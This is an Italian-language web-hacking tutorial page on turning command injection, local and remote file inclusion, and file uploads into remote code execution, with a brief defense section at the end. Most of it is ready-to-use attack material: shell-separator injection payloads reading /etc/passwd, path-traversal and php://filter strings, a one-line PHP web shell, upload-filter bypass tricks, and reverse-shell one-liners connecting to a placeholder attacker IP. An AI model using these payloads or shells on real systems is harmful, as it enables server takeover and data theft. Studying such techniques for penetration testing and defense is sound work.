Home › Web Hacking › Command Inj / LFI / Upload

Command Injection · LFI/RFI · File Upload

Tre strade classiche per passare dal "bug web" alla shell sul server (RCE — Remote Code Execution).

Command Injection

Quando un sito passa il tuo input a un comando di sistema (es. un tool di "ping" che fa ping $ip), puoi concatenare comandi tuoi con i separatori della shell:

127.0.0.1; id          # esegue id dopo il ping
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1`id`            # backtick
127.0.0.1$(whoami)

Se vedi l'output di id/whoami nella pagina → hai RCE. Prossimo passo: reverse shell (sotto).

LFI / RFI (Local/Remote File Inclusion)

Un parametro carica un file (?page=home.php). Se non è filtrato, gli fai caricare file che non dovresti (path traversal):

# LFI: leggere file di sistema
?page=../../../../etc/passwd
?page=../../../../etc/passwd%00     # null byte (vecchie PHP)

# wrapper PHP: leggere il sorgente in base64
?page=php://filter/convert.base64-encode/resource=config.php

# RFI: includere un file dal TUO server (se allow_url_include=On)
?page=http://TUO_IP/shell.txt

LFI → RCE tramite "log poisoning": inietti codice PHP nell'User-Agent, che finisce nei log di Apache, poi includi il file di log via LFI. Vedi HackTricks — LFI.

File Upload → web shell

Se puoi caricare un file eseguibile lato server, carichi una web shell:

# shell.php minimale
<?php system($_GET['cmd']); ?>

# poi la richiami:
http://sito/uploads/shell.php?cmd=id

Bypass dei filtri di estensione più comuni:

  • Estensioni alternative: .phtml, .php5, .pht.
  • Doppia estensione: shell.php.jpg.
  • Cambiare il Content-Type in image/jpeg (con Burp).
  • Aggiungere "magic bytes" GIF (GIF89a;) in cima al file.

Da RCE a reverse shell

Una web shell è scomoda. Meglio una reverse shell: il server si connette a te.

# 1) sulla tua Kali, metti in ascolto un listener
nc -lvnp 4444

# 2) esegui sul target (via command injection / web shell / cmd=)
bash -c 'bash -i >& /dev/tcp/TUO_IP/4444 0>&1'
# alternativa senza bash:
nc -e /bin/bash TUO_IP 4444
Generatore di reverse shell in ogni linguaggio: revshells.com. Dopo, stabilizza la shell (vedi Linux per hacker).

Difesa

  • Command injection: mai passare input a shell; usare API/librerie, allowlist rigide.
  • LFI: allowlist dei file caricabili, niente path dell'utente in include, allow_url_include=Off.
  • Upload: validare tipo reale, rinominare i file, salvarli fuori dalla webroot, negare l'esecuzione nella cartella upload.
Sui tuoi libri: The Web Application Hacker's Handbook, The Basics of Web Hacking, Hacking Web Applications – Hacking Exposed. Vedi Risorse.